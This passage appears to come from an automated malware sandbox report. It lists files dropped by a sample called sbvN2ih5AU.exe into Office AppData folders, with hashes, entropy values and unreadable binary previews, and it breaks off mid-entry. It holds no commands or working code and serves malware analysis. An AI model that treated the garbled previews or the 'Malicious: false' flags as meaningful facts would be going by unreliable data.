...Wz.....LJ...&.%.....Tv..o.............Zo.H..&(./.....F99.....\|....!.}W.@p..d.'.\|...l7.).\.OS}...y.b.-sC....5s{.UNN...[..E.bI...r".Wa.3T..d...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{F5FB5847-D24A-455C-A647-40C253091672}mt67739505.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	9080
Entropy (8bit):	7.98124977255592
Encrypted:	false
SSDEEP:	192:aT5+tE1zlBrljHxzUmuVY223HvDTfdY0jfqdfGPZ9bOyfF38:659zlBx9UmuVI3P/fVjsfGB9bby
MD5:	0EAF1D1C226061D17F329F447BE93AE7
SHA1:	29686DD38101438D7F2110987D1F07C00265B5B0
SHA-256:	ABA387F9BFCC316BD32DE167538AF0237E543087A9FD574E9DCB07E2CFF92BF2
SHA-512:	B9525D1794909416A19F14B08E27E3A004FE8C71775DBAC305035188371A4504EB5E871CCDDEB70571178652D0A838C322837FAF66D31066D3A1E6051F8EBAEE
Malicious:	false
Preview:	.PNG..~7f.....9...q.8..w.sc....VL.y:...0...J.O.5.........?.T...%...W....\G .9......../......V..j.dn..N..SB..;...,..{M.ZX....&..........M.B..X).......r.......7...B..G82U....@..'f...]......[.>.L....78&[.+^....\...?....^.....Z...g7.....^..\9..a.+.d.1.....mK...K.....!.g<.SSw.`l.....Z...+....U....x.b?..E....h..+U1....42...sc$'..\|.....6..s.Y.pPzbq.BS..V&>... ..(!....6......K..~`....)...p.(.).....a..d.......tEFwS..=...q.r......$....3.......F.[.Yx5..Y..6.,ys......Qf.).'/.iF...G..K..j.'...Al.7C.]6.;#su7.v.../.%..[..-.....w._...(..}7}........O\.3.....[@T.;...V...2....RT...W......+.....#............6.,..hQQ.s.....N....M..O........+.?..4 ...ln.H.2....$m..\|..5.....7....V...F.T..\..&.=@.K...V..1..{O..3\..~[...iw...D.Q....A...K.8,z.;...v......._.+.:'].............wf<...0..lr.W..4....;B>q..S._2..N.&.x......j..M...8..\|.....0d....3..Z....CsTqc.!.f.mm.X...A.{]Xc\|.#.V. .t0.?.y...6.\|XQE.....9/...3U.!y1..(..V....u.c^N.QKX.M[.AZ.k....kz"0TLu.....R-TJ.+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{FD5FD857-5A38-4C81-A322-3226BB279FAA}mt45299826.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	9025
Entropy (8bit):	7.980015828095826
Encrypted:	false
SSDEEP:	192:0rJj5i1tBrCnQhPfoO8Sp061+ZMIm0VuTpacxNVa1FclBGwjmdYeS6:0rJmtffoO13auTfAGuQma6
MD5:	2FAB0D431E66054BF6EE4CDE7DCC4A16
SHA1:	E8895F73AEC0F8C77967EF305EC39B554331172E
SHA-256:	1D8819B8BAEDFF4455DB211539D46CEB7DC313EA9C3A73AADF0E76418004C703
SHA-512:	A44D2439B85E30D2D53D02803CE6DB48DACF94AF2923876694C1EFD776745BC3751713833527224CEEFD5438B3687D9E717C12F9730347F0068D6DA0150AE90D
Malicious:	false
Preview:	.PNG.Y.j.e3{..>x..8s....AaS.@a-..b\|......d...E.t.X/Y.....W..........,A..;.x0.u#.[2.....t[......AL6...~........v..]...'.,..._......VI...'....52..6...._}....^..\4LL"..Y=..j..V...5]=.L..?.a.X. ,Y..f......_.......rN...u.+k>..b.g..-:.d5......>..,e .A..K....EY..b..j.....`..;.Q.~...D. p..+...y...#...f..6.8.1...}u.....z. ....I..g......H.=..;..J.o.H......W...;^...(.]. ........+V....:.P.X..n....j.9......<..d".........y.........ROr.CYV..V.".;..I...W...O.tfq.....h......\|..-\.......S....((....zHh,....rU....X_..}....wWK.w..Y...Y.'_u-....H..>..s.......@"...V.p\|...9...mf....}...Z'5!.3F...b.P.O..f..@.T......y....:&..........7...g.K........@/..v-..L...v}SD...J.rs.G..x8.g_.A.x..C...R+z.._.i&.Km.zq...I.2..w..>\|.g..........?s.Yo.....Z...d...N...l?H...Y.8...51F.xY.w........E5..'(...VW=@.. .......#.+.a..XE&.g .@.7..t..........r..@..YQ.1...n......0.+.....7..'."J..P..i..b........$S...X.c..9..~.L.y>.......S..........!g....4.;b..RF.(..r.x.M..U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.724689040718208
Encrypted:	false
SSDEEP:	6144:P6FHIx2ZGRkQJ8kG+WH5R4WIAeOjpCf73h:uHIYZMkQJ8kalfCf9
MD5:	9F7A521211CFFB35E00C6F0353985D19
SHA1:	5F8F12FF53F06C7D2E8841D1335CD2B1ECF83645
SHA-256:	64F1C518A1F8D075BB38A2D3B818B56160C32704F8FBF2CF5F82C61964CACEFC
SHA-512:	793BE564DCCB82800F095DBBFAEAB5AC75716978EC9B2EDFE19E98B66B0AB15C207271FBB29C4430C4C03BF4AC97B888CE7708FB684EA033D15BB878848BA131
Malicious:	false
Preview:	<?xmli......q...d.V...8B..,.@....'FOn....V.?.r.n-c.f.z'W#t9....>VJo.w...(..#.)..j...4~7.Z....lI-~.I..{.&...@~.:...8P..;...,NY....P.....+R0\|.{...%......P.3.....F....._8..~?Tn....i.\..u\..kQ&...)......y.......MQ..>...V.....-./.c..P.N.....jG^......N....z..n}Y2V...o...%.p$..{......S.....W/.R9>..............Pblh......:..l...D.P.'....}..2...',.:.p;]..>fN.g.q...W..Q...M......S...e#b..x...!V.....TA..JG...`R.@.}g...5..../..Q......./.q.........%..E...Y..;e..l)....9..Wd.v.s....3.....&..$....8.......=...S.x.<../a.n..=..Q.#..#.)iF..R7;j....t..%.U.?....OC\|.w.r..z....);n^.C.{e.M.;.b.E..B...n....u.%..`;@@;W..t2....5........(...v..&.gfh?..IBZ.E..L.l.....d.D......7c.e.@-5.Q.!..._Cz...I..I<....>@...L.~.p.d...Td.=<.dBs.#D....\....>.mA..E-....t....K...]+.&VD.2..Z.g/N!K.....M..@.R.........9.*.mv?w.\.T/...M!&.c.F..-E.\M!}B...>.W..n...1.....&L.?y<....u.Iy.L...~0i.L..D .I..I......;../..T9.7../r4!.....y.....Q.\|..zO.l.K/w..\.9.8M9...j..+e.`t&..U{8 ......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.724207466368094
Encrypted:	false
SSDEEP:	24:bSyBYyaC3k8uJIw5LdS2y8AVXrImbq5M2bD:VYyaC31e5LdS2RAVXrfoD
MD5:	21D4F8D7D7327ADCDD634538ADCE1111
SHA1:	87743A71B6F0F0791F3FCF0D5F8DAEE8119CC38D
SHA-256:	A344E0871584EC9D8370E12F4E3D2CF7E68871978EBB77951D9ED23F788209B6
SHA-512:	E264AC461C79B329D07C6F3556F1A808BE426CD8464F518FBF3C863D7DE8B8B82BCC0A8E945DB1F061C130F18615692516640083C9315CA90DDF4BED31E7210D
Malicious:	false
Preview:	<?xml.t`....D.6.~&p"k.......h..A.....V=...y..e.>......).R.J..e{..8.[....#.-.T,.p.R.F..wm.Lf...B....H~)VrO.+.C1.T+..c6,...~j..[.M.....\|.....lqg.XE}w..G......DS.....)+..w~...K..).]..E.~...tN&M..Y.._Mk.?~..........ED.@U......:..z..8...:4=].w..E....b.(..,.J.&..,rd#....O.XK...7/.Z..zfj..._^....[.H6..4.p.#.{E%.\|6.,...).......p.H$.H.._..$#1......g.J....Y.D...?2h_.@9.)..t...(k..\.A...\_.....{I........#.:'...bt....X.k.p}3.O..[..u.N......^x........n..w#...Z.6..p." H^a]$..T_G....Slz..7r,../..F......eR1<.f.b..k-.."...z...X[tYg....3//.K.q~.)S~..5y".O..i.....Jc...V..79....{[.2.Z$.........{.S....Sjjnm.>R..r..Kk..ha#PR.qf.....i..1...&.A.^TQ.k.ZB...gNH.8...s3[..w...D.n..x.wS.2.'...{../.EW.a..4I2.....c8n.5..O..........G8?..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.945766451510711
Encrypted:	false
SSDEEP:	48:GC9HAlNGXeZWa88YlDlUQI+5rqsU8strXOPo1rQ5md22w0PzLas4F25lM8SWFD:GrTGXel88mO0URTOPQrQ+a0PHa72HL1
MD5:	3956AB8C7599CAE8DEAD9B31EF119B48
SHA1:	B89DC3C566FF119EA5212CB3CBD8CD981EC564A0
SHA-256:	756354458AC81FDEAA9C5130A9D57DC7562177D4776036894831F487012D1C6E
SHA-512:	956E6CA50C322B0F75CBB53C81459D35B62482D76FB041EA331E42B691B1EE598195BBC40CDCF8E10A4AFC133CB05241AE96722948ED92B101AF2FEAC9121B62
Malicious:	false
Preview:	<?xmln.y.)]C~.1....2.9aT ...h.u.ClFO.t(J..dF..b..wv........^>.O..h.}.O.i.)..D..Hc.,.J..k._.,K .{.....s...,.b......A...1W^........Px`Q..D...........:n....u....qR....yW.@z.......9.X.y&hD....[...0......"........_.....I.......g,.....&.....\|.g.+..tjQ..YA...cI.......b..1&....7.....=....<:. ..M....M........B.@.....J.q.%YR6.V.,Y.h\.....1..QW..W.<O{.q.4....I....q_v.[\.]...9........,.jd..."3....AY^.........;..qe6.Ov>..4n.t..0..^..<.P(. ..YY......Q.Dw............j..q.._...-.........n.@@..$..........;}.=..`.y.6........M......^..~..x=.bY...:V_.`q.. Vg..M.....R...I....6_!...w.U..u.kO...F<...E.......m.D...`\q.>;.:8...\.!hPc.r..r..GPDI.......!....YO.+.K.q..?...s...`'[o.....#.gfu..j&h.......1.q..R.i..Sn...$..:..G..Iz]..i...o1...3.!..r.\|[.x c....X<..I.&...)..y...v..{...o.....#)..w.H..e+ .~l?./h.?5..X.....!jz^....z:..h.....d...E5V..i......Z.N\g..../=/y.GBT.Z.Q..'..U.9.5.m.....U..l.\.b...c.aQ....S...C...'8..k..j....c.......VZ}....!o.Q.."qN.H(...z[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.76598719755903
Encrypted:	false
SSDEEP:	24:AIp61oh1M75DuwiIGdEhGFYYYznSOj8fIcuwXtRp9CEQ72bD:ACAonuuwindVNh+8fIc7x0EQoD
MD5:	EFF8EE7F4E4E7725DD2317E5C5EDEDFB
SHA1:	2B9701CB07C54445C1EB7EF863618D583E9CC9B6
SHA-256:	CB8D5F4BC4F456370025E12073A3931ED31C38F085A91238574BAA121F76C908
SHA-512:	DE7E0AAE6E832AEE618F531C71417E51464E92C42ECA074075CA1D62A594EBD07A5FB1258BBEAC2E8CE459C4683A5D8E8CD9AAFCC2F2F2115B3348C84619E2A2
Malicious:	false
Preview:	<?xml:....0.6.m....^"@.~.o.........@..h..$:......E.Xu.=m...?.@.4.t.z_...J...d.....u.......e@<At..O...R.x.....s.9.I..g..[.=..J...R.....&.L..s.I.W.84.+...7...=.m.P.b....x..j..In.CB..I.?..@..o.U...?.{.>H.9_.l`....y..B`....}.`....n..."1...\|....4Zg\M....4....E.........v.6..\|......`<M...:...4..V.$..8.E.W..d..c..O./bye4..{Z.s....8Z...9.'.n.6.G...D...6...!...g.f-.1/.g.m+.Sp..9i.....+.S.J..d......... N.V.N.....u.....Y..H...................ri;.kgg...VLV[.d..^..qt=.....;X..{{.y..]......j.k\|.4.Tm.7.B.8P{uu.7+E...>U.n$....k..2".P..E.....U.........9.. M.d}.y.H.u..N.........d..l.N$.aY...X`.=F(*?)S.k..&.&8..\..B.WoFwu...]..).6..._9U.$j..<....T.n.]..........O&9.J.fn.O.4.X.]...D.........4.]T..A..=;$a0a..._I.q.r-.lY~....g..5....> ;.ghL1.)G-.. $.`#.k.-d..;.y..`..os....A.-.Meq.:......ES........>\|.5..N.......1&..p{......j[...;#f.......%s......W.P....=KZ.;..0......;..j....r...J..L....G^..t....-..6.....E....xmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.853276123869972
Encrypted:	false
SSDEEP:	24:moH+bWGpjVG1jFU7vm7UD8r4AyvhRl9W6p1oaw9eJTGf6A+Bt04J+KNptCeZul38:fHojs1JUKNrHyvW6p1ot9InFYOtUe4Dw
MD5:	AFC33EE0E3EE53464BBB35C9A4DF3F11
SHA1:	6A36B762271F7321E0AE5415F566D214B8AEC80C
SHA-256:	3D419176ED1565570CC06A35BCE1560FCB1A003B16398FEDE1FC2EA31240E4E5
SHA-512:	190C856FC9C9DD529B451FDCDEE16B95268FDBFCD046E8E28E7C7BAB3067CFF16075ACF7BCEE0AE10C5A3171247E9C4E71288F8A49FEE733D981DE5185CDDF9A
Malicious:	false
Preview:	<?xml.....Q./.$Q..y.&.c.D.0...\|..{.ZcM..6?....tg!..j.,.3...p..K/._.......t]f....m....=.U.P.d..d.+l.)..k.].=...}.&........:..'jM ?'.L:.....c.....A.......7._O0.gnf..&..P...f..bWw.?....Q.W...Z48Ku~..!.'{.H[u..H....T4{.'D.~....1.t....S...N.T...b..>.l....5......q'..h...)...7..K.......@M..6.[:.../... #lA..u....o~i......s.h..$..(..\3C.T...e3......EU........k.....E.\|..{.%.;C..[.B.u'...+.m.O...P...V)5.L.t....)e...}...s./...;...5.d%..c.5.B.z.M....\..S'.....-A..y-../.I........)3O.P....!...t ..]. t..9..B....AA?.^b...\s+....`p.?i.4....\|.....7...?.R.@...Zf..[.zY.~...?.3.m.X.@.g.....f!.y./.O.&.G6..u....0..sT=Bl{...rC...3.l%.L._\|...).%V.K....$i...T..bby....~G..z-Y-..U.)..+m.^2...........j..2=..ei..S3...:.,'.....-T\.^.7...b.n..^...tT.E..B.8.:.)...T.\}...G..wP.....H....(...t..u.4M...g...6O..i.JB......%..:..c,......^.S...C"K....B/.........G..........@.).eT[..c.W......r......R;..!s...BN.^5..q..@.R....c....0.=.h.\|..-1P......o1....8.N'..$n..............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.765393220942994
Encrypted:	false
SSDEEP:	24:iSxE9gOrPuXvUf37RhVYXir+UE+witUTzWz/QZ+2bD:dTOrj/1ai6UOTWz0lD
MD5:	8805E5EEF388A286163594F0E5CA4BFC
SHA1:	7A435D7647924231AE786ADB9FA7B08E70F77457
SHA-256:	82457F66BE537F2B11D5C783AB434C89C17AB0F69D8E36217C9157006EDC1075
SHA-512:	D3AB992B062D179F31546EB785F2D7F9BBFDF516BEF28CCA7DAD3DE9B6D81D4A0DB1A46E5EED80D62BDE0CA359A8B3B76DFBE54DD51DFAA885CB5F88BEF14F4C
Malicious:	false
Preview:	<?xml.....R..1;=......%.^.........{l..s%.j.M.l>..4.....bq.iT.[.M~0.l5?...\..p..p.=..K..g..W.]..I4Q...oL[..V.~)...$.(....g...C/.b).a.9...@.u-....G0...Ka^^c..Q.v...`;_ /.i...(KI..YM.....7................&,.#....&Y...x..^.j.<..'...t....j...m.....r..F..%`......v.Z..q7..cX...E.....[...9...x(.h.F8./..8..5b...x........%...+..........7L9.T.......+Ec....l.........\|....f..lN..#O5.k...\.4.....<....l.........._....U....iD..EM....ku..+.<..=...`i.o.R.@.....z....va.a.B1...............lR.\|... .b............m...b..\2..\|.R.f.8......q.b.7.y.....4U..vR...=..{..D....{d...N..,m.....n1R..N+P..H.1._3oX9#.c......9e@....e.~b..&O.xf5. ..$..B..W[....,.....1.T.9........k.......f.\|.S..O\|..3....OW.$b.'....q.....<..y.....)......G..........Vz._]q............E.. ....\\|....I....OZ*]...CA..G1.F,..x. ..e..Z.b.#..85../}Q!.{....9.wc.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.791630506417279
Encrypted:	false
SSDEEP:	24:84ZjkumZmiXSJfYCZvSifsvAdINCHvVOfwaPvhDQGoAg2bD:5nZiCJgCZbfsvAUgLaXdWMD
MD5:	320B460DD87943406EB9E26E16848C90
SHA1:	31A2E40665007FEE478C8C364B94028DBB5E2C6A
SHA-256:	AD4091D42DB95275C418A874F613A9A1D6D4E83A1A4D30F9776945E2ECF181CB
SHA-512:	B9571691F4E61D24A06967DA560A6379EBB076149411E0EE96806E0CD95FB0D4112230D1554D193FE60744FD9BAEF11E014C48DA095513CB587594CAE08852D9
Malicious:	false
Preview:	<?xml....i......m.rU.d.[^......>N..C.GvT.J5.XO.....t.'T/S.!.r._-...b.'..Yu...I..t....2I.(%1.Y.........:..yI5..`.d..N...........O/H.~n..1&`....{+....BF..g..{.....na...;...G....P....}W..?...i~..Y....+......>.o.)..GDv7.....Q3.<.09...]AB.'g...M(.H .szC..l...O=x">a...h.Ck..e..Ndu.z..y....\|..d.w...[...i...^t..Q'.9h.....R..=........0h.....e......\|..n.T..M..gl.....cv..=.N..M>...N;....j.........k..B.Wld......v...H.[...Z.(qC.=..0.;........U^..o.G.......#d.6...=Dg...m...%,H2.../......^0.j..p.I..#...^..g.k..!.m..p..%.xP...+.gE..lb.....j.....=...p...Y...G....2E^G.+S\k..+ F..WO..Z..^..yd....i.1V.....f^.A.$...o.K..3f..........0f.....\............hb..]..\|.+...E&-...~.}..Xl..t..6...Z%...#+L.".`..(8e.j.p8.....H....@..%...@'.o...[/.3..n+Rq...f%..Bi.mW.A......i.&o.VB4.SX.ZmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.819176151991457
Encrypted:	false
SSDEEP:	24:CBONhEYlY7NN0RGa7lu+1N3Sds4cU4AIhtQv3LxKZh62bD:C0IWvRG873Air+8ZbD
MD5:	26B7A68319DADFE4F19E32958F9BABD9
SHA1:	CE4E14A1833C262AAFC6C195020D50D20782799E
SHA-256:	19AFF0F6651835C87EC2C420446940426B9073347738432E2F1D345A7F003F1E
SHA-512:	2FF3AD03523B6880A705B393EAD6561A5CDEE9E37CC00C22A2C059D5BEFC1295D848CD6CB00A7C03C8E1B79ACE8C654BF497C05A3F83871C4D1B46918AD3372E
Malicious:	false
Preview:	<?xml..r...k$gy!..k......l...>......E......+L/X5[...(bT.p.......9..5.......v.....=)M.......ll.h.L.}.......AI...<......;S..B..!8\M.xA...4#...~.Q....?...e42....'6f..c......b...@..8..j........$V\|P....N..1.:....f.>..m.M...c.Lb)-...?^...X.f.Cbl...LL.N.J..uS."x....T..q.)(Xh.u]&..I...%....z.@..'!.....E.L...1 ^..?%@.....z.>8.....@.c...v...R..yftI..x..?.'.05./..6..(iY.#4..%\|Y).G#.....=..#..T..y....X'.{=.%......8.-...4...>.uGK.Y.....;W....N.w.Js.{.....e=...ZXI./..L(....ud....;I...5.....r.a..6..G.t.F.R.tRGFw.8......Q......J.`...xE.g.V...........3.C..n..].rY.vU......mT.."b"...cW.....q.}.~L../.........]M.rVIi.S._..J.8.......E..C..#..n\|..0.!5....@...X....K.\|...^......^.>!\|o...Ok........~RO=:.$z<.q.?..>...h75y.C.../..H.j}....5..._.-.h>.. \........Cs0....4j.m\|....y.L...F~s.&..6....... kj.U.f....x.V....<..t.B..o.2Z...#y:.DY..R. ....E^m..*.d...-<.kY..._...4\.../...\b^..^..M.1].`\|..+.ri..4u... ....!.DC"......`...b.fm.h.tmMsRxMUuXypapZbGOAfxD9pczHmW8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.746886215278055
Encrypted:	false
SSDEEP:	24:tM2TBjYzf68R5oV9l+fp/dtpYa9E37JDU7lYS2bD:thTSiy62f9pYK4ZGYpD
MD5:	AACABF9A4667C6D0E9333D46CE340749
SHA1:	28FCC32CD9D0CD5B1C4EFD6AF3A266D8C76E8040
SHA-256:	6AFC94EC6C0CD33A0B7B9CB402EB5C450FB7450556DB72B957868F6976B522FE
SHA-512:	7BC1C1854D1609A874A0413CEA12D47213597DA76260BE54AC606D187F5484CA7DD6C43AFAFEF061DBD6A318A7FA2D50683D9C13AD5D153BEFC61554CCEB8965
Malicious:	false
Preview:	<?xml....".lh.!4.(..R..7m.a........V@Nc.....F......&.;.....:v/.@..P>...W.wc..?...U.....M.~.."{}P ...a...8IC3.>.NF.Sx..d.u......"Y'N.yGG.....&....~.uM.G.u...m..t.25.6....@..{..;+.}.8.$...?.....d.8.UtA..Q..9p.r.#.v...UUp../&O..D..t..C_.B7..v.d.i.$K.2..qdR{.\B......H.F0....T....\.S...\|.h.V.i.{a(..#t...m..k....I,c...{.RC...].y......B........y..\]0....5...X..E5....z<..-t.ki.SJ":q3B..{S..qE.in......:.....2Nt\.,.o.w.i..f.NV!]\L.!..._W.J.aj.I...9..O..t."$$.U..c..[...z#:........=............>.........n.._...!....[..6.#. .....aR...~......?...k.#s.q!b..i.~U..^...W}..f......@y...xC.q.@..\.)...n.Q.E5.....u..0.T..h...6.p..S....ix......<.K..J<(.\....t..6....v.K.U.....=..N....S.h0..;C...E&.L.v._..Qlg.R5....B..>...1..c:Sl.O.....Nx.=.L2!T...6./.l....F.-xk..x.u..k4.'.!B.F..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.976348794930296
Encrypted:	false
SSDEEP:	192:HnLMgNf60bhPZyoylvban7x02Ir7S/z3npMAucYMZAA0uZ/3pMK2cp:HnLbpZc1un7LI0LpuaZIe/3R
MD5:	B35994C8CBEA21FC5A2014FD5CAB4BD3
SHA1:	168B146A7EE7CC7757CEB7C80C8685A3CAF2E590
SHA-256:	D0E1B298ACF7454BCD1EC0767038C082AF3AF4923D6441D6902D8165615E4519
SHA-512:	2A5A360F6E0CEAD8258D67262791F53376F2449A453A5896806BA8A636A17F19AE8820B2EEB497CE824DBC1AC51B294E4F4896276B57E9071A38DF38F4C62EDF
Malicious:	false
Preview:	<?xml......%..#F?...CV5g..8w2\|8.#<..\........C$.....\|0.%..v..OH.AD7..M\..y..mRx!.0.sJ..KU..h.._.._..[S.......6.T..%.....zs.5.E......{.&8...W."P......trmh%1M...$B.Q}.9$R....wjhf.N..m..Y....c.N......#.f...;".QY..l].<...^.n#.tnuK.$.....s..I....b:9./pM#.....L...}.=8b...^(..?Km.....x..dk+....]m.Hm.....B......../.h.-.H...n"n...w..c.......K.s......x....@].....O.s..1.,.....;.......H...O..~r..u..OT.8.}%.hmM.3Dl.N~X.\|..>C..l......h8.V.<&.+......-............k3+..c...1......l..o...'.X..m........IW.n.1M...%]q.<.<.......'k/pbv.nqPds....wc()..V......b.~...OF..iYk.......U.S.^.G..F.1E. .\|.n.{..{..../.......}..o'......-...x..f.UJ....8YZ}...hKUmK/.Z..z.<.(3...Z......o.$.....6..s..V..=!S...h....'.s`.oHE......m...s..Is.W.....Lo.h.x.....9.P.5........W..5.%SH..$.]0...J..`4E../...z..u.V...a.T....#W...U..;.9..S-p.M.C..\.+7...k.....\.`.p..{...< oF..v...&F.8p...U.8...rv.+..fDE.~EU.K..XU.T.+v.s...g..Z...aw,....1.cV.....$.P.....p>.e.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.809596401983642
Encrypted:	false
SSDEEP:	24:ZtNAluXq12hS7K2khN3tHW0Y9EVFnuryHWC3VDv7LKCjlYlY+2bD:7fa1qS7r8xtHzVFnD2aRvai2KlD
MD5:	321A924FE245DC4CB7CFAB4BC6D31250
SHA1:	2DAF4D9DA300688045FB2EACC057C62A1B36C831
SHA-256:	815420AB60DF01BBA48412C8DAE81E6065675F8324C6D28FFFF64C5BD7151A01
SHA-512:	F49D4882C67A7FCEE1D40791B3AB5AFD6F98254F0F2FD053FBA6FA2C0FBF043C99346D94414120349F34055A1640F087FEC50B2273B6AAA601E83B9B3F657ED3
Malicious:	false
Preview:	<?xml.6.....T...:#^V..F.......<..,.\|a.....H._......b.q\...D.1)U.zR.IP{&....D.../!.Fq.gY...._y2.bSO!.`....K.U..j..R.K.Z 3....}1%./K. b.x=.u.....;..X$....=.A...)1..0...(V......~X5.Fs.dX.q....7.x../e1....h.2K_.cJ>. b..,QT..........4hxG.Xk.`.yI-.g..wv...(.H....Qn.\|=h...C1".g`=..\l.SP.!w.....u.}.l....-..A..g....t...P...9d..}...Z...C..r.a...t.#(j.....'...O.U#....Vib2..J......x.+.1......D~....\.5...`6J.p%........{....z.bl't1...(7,....Y.aC..2..'e9.....l..f=.....R.y..0.....t.D..#.G.... 5.....R[.3..a/G..q.l}.j.]......=.......B....1f../.M.m.......p..0hDP8..B]PGV..E..f4...b.jZy\.K...Q..Ii[.s.j..~.!L..xFa>i...G......7O.DME.s ....?J....C{-\u\|.7....8.f.HL.9..h.N.........P..53......$._F[~<..6fK)..f.q...j...[...2q[m..$.q.<"..p.,r...4..........2.......Y....P;...>...."..8.... .]..y.5.9..8.y.Eg..a..G`..b.^.....H..\rQ.I....\|..A\..p{.....A......;x}o...).'...C,..{n.N...<V3.............l..J.d...?.t.'.e..3....7.9..x....qV.g.Gq.......b......<.i..f*\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.8244783069658
Encrypted:	false
SSDEEP:	24:lR3/NDAx0sFIuMBSbV0RhCD5qZdoGr0lZ1i+ZsAVtE68veynx2QS9Hn7ej772bD:l9/Cx0sFXMB+V0OsrP6Z1i+WOtEdnx5K
MD5:	A3A089A275BD2C03C1BB1C1F294501FC
SHA1:	8CD2A95ADDB66E252B175E81F72F9E21DEA7550C
SHA-256:	9ED7612A33DD42671419EDCB58EB2EEB92AD89EDB8EB898B8740D05CAF53A58E
SHA-512:	84EA7E33F46DB616DB23DD0BCC0833B0A7BB3C63223871F6767B8D35C6307E7D56496D317D41BF54E237764DF925ECB4D118DDEED694375FFD1ADD192BD9BCF4
Malicious:	false
Preview:	<?xml,Ue.NA. 5.Z...O..(u.."'n'...Z.'@.c...bN.......W...! \|E.Jq...x..m g}?.2.$..l\kY.......-C.8...u<.k....[h..+..Y.06...\|...@o.X$n..d....A..X.0.............(..]...B .t...P.L..1.a3...N..._#.;.K@....H.(...-.Z'bsR..7C.~R-.1.~&v.6.ZD"..h-).....\@cU.b...]...U.....e..d....7..z\.z..+.Q..olu}0..0V...K\|M.XX:....$.q..4...q.9.G..V.i9...9.......&e/.##9t.Q._u.3.XC...O.6.t8)..#S..\..'..1D....l=z.j.w.M>.[Jr.....EDI9.J.......A...3F._'mj...A%l3...v..2.:...1...........Q...x..qx....b......X..._B..{.....O.7......te".&....U...+..[.;.z..n.D=0.d..]..dY....E......X...H..Z.u$.O.m%l.9.....vxQ`.i]R.D....U..`.>`.h...D..}X...B.X.a.'#.S..?..f.@.O........^...r.v9N;.I..m...mA........#....A.....Q.@.k.+.J.C..p....,......xU..F..Gx.H@B.h....D...r.g.f.t.;..T.....]>........Z..7..[-.n?v.$m...V......G....O=,.k_.Vy......6.Xi.(....k.?..`.d8.A.I....<K./..i..'(Ma.DV<I..NL.R..k.m:!/}r.^........g........@..m&....@.l.....u.r..'.ejZ...}'..HJ...........A.Ke...9L....\..5..=M...if.}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.81053515030921
Encrypted:	false
SSDEEP:	24:e36Pgj5d6Tf63GxXK7VxSwHuElHcJzTihUYvV8A2bD:e36pTCgXQKwH1GiKYvSD
MD5:	3B775E0C13C21C83C2FACEC3B1954251
